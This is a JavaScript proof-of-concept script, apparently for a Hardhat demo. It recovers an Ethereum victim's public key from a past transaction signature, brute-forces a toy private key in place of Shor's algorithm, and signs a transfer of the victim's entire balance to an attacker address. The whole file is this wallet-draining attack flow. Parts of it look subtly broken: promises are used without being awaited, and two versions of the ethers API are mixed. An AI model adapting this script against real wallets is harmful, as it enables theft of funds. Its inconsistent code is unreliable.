exploit.js

require('dotenv').config()
const { Alchemy, Network } = require('alchemy-sdk')
const { ethers } = require('hardhat')

const alchemySettings = {
  apiKey: process.env.ALCHEMY_API_KEY,
  network: Network.ETH_MAINNET
}

const getPublicKeyFromTransaction = async (transactionInfo) => {
  const {r, s, v} = transactionInfo
  const tx = ethers.Transaction.from({
    ...transactionInfo,
    nonce: transactionInfo.nonce,
    gasPrice: transactionInfo.gasPrice.toBigInt(),
    gasLimit: transactionInfo.gasLimit.toBigInt(),
    to: transactionInfo.to,
    value: transactionInfo.value.toBigInt(),
    chainId: transactionInfo.chainId,
    signature: {
      r,
      s,
      v
    }
  })

  const uncompressedPublicKey = tx.fromPublicKey
  // manually remove uncompressed prefix "0x04"
  const publicKey = '0x' + uncompressedPublicKey.slice(4, uncompressedPublicKey.len)
  return publicKey

}

const fakeShorsAlgorithm = (publicKey) => {
  // since today quantum computers are not ready
  // we will just brute force for the sake of demo
  // replace this function with the interface to run Shor's algorithms in the future to complete the full chain exploit
  const EC = require('elliptic').ec
  const ec = new EC('secp256k1')

  if (publicKey.startsWith('0x')) {
    publicKey = publicKey.slice(2)
  }

  const pubKey = ec.keyFromPublic({
    x: publicKey.slice(0, 64),
    y: publicKey.slice(64, 128)
  }, 'hex').getPublic()
  
  const generator = ec.curve.g

  for (let privateKey = 1; privateKey <= 100; privateKey++) {
    const derivedPubKey = generator.mul(privateKey)

    if (derivedPubKey.eq(pubKey)) {
      return '0x' + BigInt(privateKey).toString(16).padStart(64, '0') // Found the private key
    }
  }

  // exit(-1)
}

async function main() {
  const [victim, hacker] = await ethers.getSigners()
  const victimAddress = victim.getAddress()
  const hackerAddress = hacker.getAddress()
  
  const alchemy = new Alchemy(alchemySettings)

  console.log('1. get a transaction from the victim\'s transactions')
  const transactions = await alchemy.core.getAssetTransfers({
    fromBlock: '0x0',
    toBlock: 'latest',
    fromAddress: victimAddress,
    category: ['external'],
    maxCount: 10
  })
  const first_transaction = transactions.transfers[0]
  const first_transaction_hash = first_transaction.hash

  console.log('[+] found a victim\'s transaction hash', first_transaction_hash)

  console.log('2. get the signature (r, s, v) from the selected transaction')
  const first_transaction_info = await alchemy.core.getTransaction(first_transaction_hash)
  const { r, s, v } = first_transaction_info
  console.log('[+] signature found from the transaction')
  console.log('[+] r:', BigInt(r, 16).toString())
  console.log('[+] s:', BigInt(s, 16).toString())
  console.log('[+] v:', v)

  console.log('3. use Shor algorithm to find the private key from the given signature')
  console.log('[*] recover victim\'s public key')
  const victimPublicKey = await getPublicKeyFromTransaction(first_transaction_info)  
  console.log('[+] victim\'s public key:', victimPublicKey)

  console.log('[*] recover victim\'s private key by using Shor\'s algorithm')
  const victimPrivateKey = fakeShorsAlgorithm(victimPublicKey)
  console.log('[+] victim\' private key:', victimPrivateKey)

  console.log('4. Use the recovered victim\'s private key to sign a transcation sending all of the victim\'s ETH to us')
  const recoveredWallet = new ethers.Wallet(victimPrivateKey, ethers.provider)
  console.log('[+] before')
  console.log(`[+]    victim\'s balance: ${await ethers.provider.getBalance(victimAddress)}`)
  console.log(`[+]    hacker\'s balance: ${await ethers.provider.getBalance(hackerAddress)}`)

  const tx = {
    to: hackerAddress,
    value: await ethers.provider.getBalance(recoveredWallet.address),
    gasPrice: 0
  }

  await recoveredWallet.sendTransaction(tx)
  
  console.log('[+] after')
  console.log(`[+]    victim\'s balance: ${await ethers.provider.getBalance(victimAddress)}`)
  console.log(`[+]    hacker\'s balance: ${await ethers.provider.getBalance(hackerAddress)}`)
}

main().catch((error) => {
  console.error(error)
  process.exitCode = 1
})